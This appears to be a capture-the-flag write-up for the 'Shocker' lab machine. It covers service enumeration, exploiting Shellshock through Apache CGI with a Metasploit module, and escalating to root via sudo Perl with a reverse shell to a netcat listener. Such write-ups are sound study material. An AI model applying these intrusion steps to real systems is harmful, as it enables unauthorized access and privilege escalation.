👽Shocker Writeup

[Perl] [Injection] [Web]

Nmap

  • -sC: Performs a script scan using the default set of scripts

  • -sV: Probe open ports to determine service/version info

  • -O: Enable OS detection

  • -oA: Output in the three major formats at once

We are greeted by an image that looks like a very hostile bug when we visited the URL http://10.10.10.56/ on a web browser.

Gobuster

  • dir: Uses directory/file enumeration mode

  • -w: Path to the wordlist

  • -u: The target URL

  • -f: Append / to each request

  • -x: File extension(s) to search for

Dirbuster

Fuzzing for the extension sh, py, pl using Dirbuster.

Input the following fields into the Dirbuster's GUI:

  • Target URL

  • File with list of dirs/files

  • File extension

Dirbuster managed to find the following shell script:

Google

https://httpd.apache.org/security/vulnerabilities_24.htmlarrow-up-right appeared as one of the google search results using the search term 'Apache httpd 2.4.18 cgi-bin vulnerabilities'.

Msfconsole

Execute the following to search for a module:

  • search apache cgi

The module 'apache_mod_cgi_bash_env_exec' will be used.

Execute the following commands:

  • use 4

  • show options

Set the require options and run the exploit:

  • set LHOST 10.10.17.239

  • set RHOST 10.10.10.56

  • set TARGETURI /cgi-bin/user.sh

ip a

Execute 'ip a' to find the local host IP address which is needed for the option 'LHOST' for the Metasploit module.

The IP address for LHOST is 10.10.17.239.

Meterpreter

Execute 'shell' command to gain a shell session.

Execute 'whoami'

We can use the find command to search for the .txt file that contains the flag for the user.

Sudo

-l: list user's privileges or check a specific command

The user Shelly is able to run Perl as root.

Netcat

Execute 'nc -lvnp 1234' to create a listener on another terminal.

Reverse Shell

We are able to get the Perl reverse shell code from https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheetarrow-up-right

Update $i to the local host IP address

  • $i:'"10.10.17.239"

Execute the following code in the Meterpreter session.

Netcat

Head back to the the terminal where we executed the Netcat listener code.

Execute 'whoami'

Let's find and cat the .txt file that contains the flag for root.

Last updated